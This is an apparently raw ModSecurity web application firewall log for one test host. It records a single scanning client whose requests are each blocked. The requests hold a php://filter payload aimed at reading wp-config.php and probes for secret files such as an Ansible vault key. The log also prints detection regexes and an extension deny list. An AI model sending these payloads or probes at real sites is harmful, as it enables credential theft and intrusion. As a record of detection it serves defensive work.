[Sun Mar 01 20:25:55.374024 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at ARGS:page. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within ARGS:page: php:/filter/convert.base64-encode/resource=wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2wAAAAg&quot;]
[Sun Mar 01 20:25:55.374150 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)&quot; at ARGS:page. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;199&quot;] [id &quot;933140&quot;] [msg &quot;PHP Injection Attack: I/O Stream Found&quot;] [data &quot;Matched Data: php://filter found within ARGS:page: php://filter/convert.base64-encode/resource=wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2wAAAAg&quot;]
[Sun Mar 01 20:25:55.374262 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:page. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data: .base64 found within ARGS:page: php://filter/convert.base64-encode/resource=wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2wAAAAg&quot;]
[Sun Mar 01 20:25:55.374556 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2wAAAAg&quot;]
[Sun Mar 01 20:25:55.374709 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=5,RFI=0,LFI=5,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2wAAAAg&quot;]
[Sun Mar 01 20:25:55.397243 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)&quot; at ARGS:path. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;199&quot;] [id &quot;933140&quot;] [msg &quot;PHP Injection Attack: I/O Stream Found&quot;] [data &quot;Matched Data: php://temp found within ARGS:path: php://temp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH3AAAAAg&quot;]
[Sun Mar 01 20:25:55.397542 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH3AAAAAg&quot;]
[Sun Mar 01 20:25:55.397732 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH3AAAAAg&quot;]
[Sun Mar 01 20:25:55.628117 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/7zip/settings.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH5gAAAAg&quot;]
[Sun Mar 01 20:25:55.628681 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/7zip/settings.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH5gAAAAg&quot;]
[Sun Mar 01 20:25:55.628931 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/7zip/settings.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH5gAAAAg&quot;]
[Sun Mar 01 20:25:56.019110 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin.php.old.bak&quot;] [unique_id &quot;aaSSxPgv7eN8rAXba7HH9wAAAAg&quot;]
[Sun Mar 01 20:25:56.019608 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin.php.old.bak&quot;] [unique_id &quot;aaSSxPgv7eN8rAXba7HH9wAAAAg&quot;]
[Sun Mar 01 20:25:56.019771 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin.php.old.bak&quot;] [unique_id &quot;aaSSxPgv7eN8rAXba7HH9wAAAAg&quot;]
[Sun Mar 01 20:25:58.135834 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LQAAAAY&quot;]
[Sun Mar 01 20:25:58.136331 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LQAAAAY&quot;]
[Sun Mar 01 20:25:58.136513 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LQAAAAY&quot;]
[Sun Mar 01 20:25:58.181594 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/vault.key&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LwAAAAY&quot;]
[Sun Mar 01 20:25:58.182093 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/vault.key&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LwAAAAY&quot;]
[Sun Mar 01 20:25:58.182250 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/vault.key&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4LwAAAAY&quot;]
[Sun Mar 01 20:25:58.227315 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api.config&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4MQAAAAY&quot;]
[Sun Mar 01 20:25:58.227807 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api.config&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4MQAAAAY&quot;]
[Sun Mar 01 20:25:58.227951 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api.config&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4MQAAAAY&quot;]
[Sun Mar 01 20:25:58.982146 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.dll&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/transact.dll&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4UgAAAAY&quot;]
[Sun Mar 01 20:25:58.982622 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/transact.dll&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4UgAAAAY&quot;]
[Sun Mar 01 20:25:58.982788 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/transact.dll&quot;] [unique_id &quot;aaSSxuWvNlascZsmhrI4UgAAAAY&quot;]
[Sun Mar 01 20:25:59.414847 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.ini&quot;] [unique_id &quot;aaSSx-WvNlascZsmhrI4ZQAAAAY&quot;]
[Sun Mar 01 20:25:59.415366 2026] [:error] [pid 2400765] [client 185.177.72.30:53044] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/config.ini&quot;] [unique_id &quot;aaSSx-WvNlascZsmhrI4ZQAAAAY&quot;]
